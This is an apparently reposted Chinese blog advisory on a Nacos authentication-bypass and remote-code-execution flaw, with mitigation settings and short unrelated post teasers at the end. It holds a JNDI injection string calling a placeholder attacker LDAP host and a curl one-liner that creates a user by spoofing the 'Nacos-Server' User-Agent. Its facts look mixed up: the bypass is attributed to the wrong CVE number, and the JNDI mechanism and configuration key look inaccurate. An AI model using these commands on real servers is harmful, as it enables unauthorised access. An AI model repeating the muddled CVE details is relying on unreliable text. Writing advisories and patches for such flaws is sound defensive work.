news 2026/4/30 13:14:54

Nacos CVE-2021-29442

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Nacos CVE-2021-29442

CVE-2021-29442 是 Nacos 中一个认证绕过 + 远程代码执行(RCE)的高危漏洞,主要影响 Nacos 1.4.1 及以下版本,漏洞的核心原因是:

  1. Nacos 默认的鉴权实现存在逻辑缺陷,攻击者可以通过构造特殊的 HTTP 请求头绕过身份认证;
  2. 结合 Nacos 的配置管理功能,攻击者可上传恶意配置文件,最终实现远程代码执行,控制服务器。
  • 受影响版本:Nacos 0.2.0 ~ 1.4.1
  • 不受影响版本:Nacos 1.4.2 及以上、2.0.0 及以上(官方已修复)
  • 漏洞触发条件:Nacos 开启了鉴权功能(nacos.core.auth.enabled=true),但未正确配置自定义密钥(默认密钥可被利用)。
  • 认证绕过:Nacos 的鉴权逻辑依赖User-Agent等请求头验证,攻击者构造包含Nacos-ServerUser-Agent即可绕过认证;
  • 配置注入:绕过认证后,攻击者通过 Nacos 的配置发布接口上传包含恶意脚本的配置(如${jndi:ldap://攻击者服务器/恶意类});
  • 代码执行:当客户端拉取该恶意配置时,触发 JNDI 注入,执行攻击者预设的恶意代码。
  • 1.x 版本升级至1.4.2及以上;
  • 2.x 版本使用2.0.0及以上(2.x 架构重构,从根本上修复了该漏洞)。
  • 修改默认密钥:在nacos/conf/application.properties中配置自定义的鉴权密钥,避免使用默认值:

E:\Document_Nacos\nacos-server-1.4.5\nacos\conf

# 开启鉴权

nacos.core.auth.enabled=true

# 配置自定义密钥(必须修改,随机字符串)

nacos.core.auth.plugin.nacos.token.secret.key=自定义的32位以上随机字符串

# 关闭 User-Agent 白名单(关键)

nacos.core.auth.enable.userAgentAuthWhite=false

測試:

curl -X POST "http://nacos服务器IP:8848/nacos/v1/auth/users?username=test&password=test" \ -H "User-Agent: Nacos-Server" \ -H "Content-Type: application/x-www-form-urlencoded"

  • CVE-2021-29442 是 Nacos 1.4.1 及以下版本的高危 RCE 漏洞,核心是认证绕过 + JNDI 注入;
  • 最根本的修复方式是升级 Nacos 到 1.4.2/2.0.0 及以上版本;
  • 临时防护需修改鉴权密钥、关闭 User-Agent 白名单,并做好网络隔离,禁止 Nacos 端口公网暴露

最早之前的springcloud,是用的Eureka的,后来某里发展出来的,一堆的抄着用。

nacos

其他开源国内git项目漏洞,这些都是等保过不去的,都是会被测试工具扫描出来,要通报批评的

kkFileView SSRF

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/28 15:39:19

(新卷,200分)- 区块链文件转储系统(Java JS Python)

(新卷,200分)- 区块链文件转储系统(Java & JS & Python) 题目描述 区块链底层存储是一个链式文件系统,由顺序的N个文件组成,每个文件的大小不一,依次为F1,F2,...,Fn。随着时间的推移,所占存储会越…

作者头像 李华
网站建设 2026/4/28 17:10:52

制造业七大核心系统盘点——ERP、MES、WMS、SCM、PLM、SCADA、QMS

我这几年跑工厂、聊老板、跟信息化负责人沟通,听到最多的一句话不是我们没系统,而是:ERP 上了,车间还是一团乱MES 买了,数据没人信仓库有系统,库存还是对不上系统一堆,但问题一个没少这时候很多…

作者头像 李华
网站建设 2026/4/24 21:43:24

前端使用docker打包nuxt官网项目

安装docker的文章在另一篇:https://blog.csdn.net/m0_69727853/article/details/154741168?spm1001.2014.3001.5501 1. 查看docker是否安装成功 docker -v 2. 如果显示没有docker,查看当前的环境变量是否正确 tips提示:如果找不到安装的doc…

作者头像 李华
网站建设 2026/4/24 0:05:27

Java计算机毕设之基于Java+springboot的寿险公司人力资源管理系统基于SpringBoot的人力资源管理系统(完整前后端代码+说明文档+LW,调试定制等)

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

作者头像 李华
网站建设 2026/4/27 5:21:39

PolarDB-X 企业版分布式集群部署文档

目录PolarDB-X 企业版分布式集群部署文档快速连接快速连接命令集群信息集群状态Pod 列表服务列表镜像版本安装步骤1. 安装 Helm2. 创建命名空间3. 添加 Helm 仓库并安装 Operator4. 获取最新镜像版本5. 创建集群配置文件6. 部署集群7. 监控部署进度8. 获取连接密码集群架构架构…

作者头像 李华
网站建设 2026/4/28 20:21:38

计算机Java毕设实战-基于springboot的社区协作与资源共享系统社区闲置资源交易与共享系统【完整源码+LW+部署说明+演示视频,全bao一条龙等】

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

作者头像 李华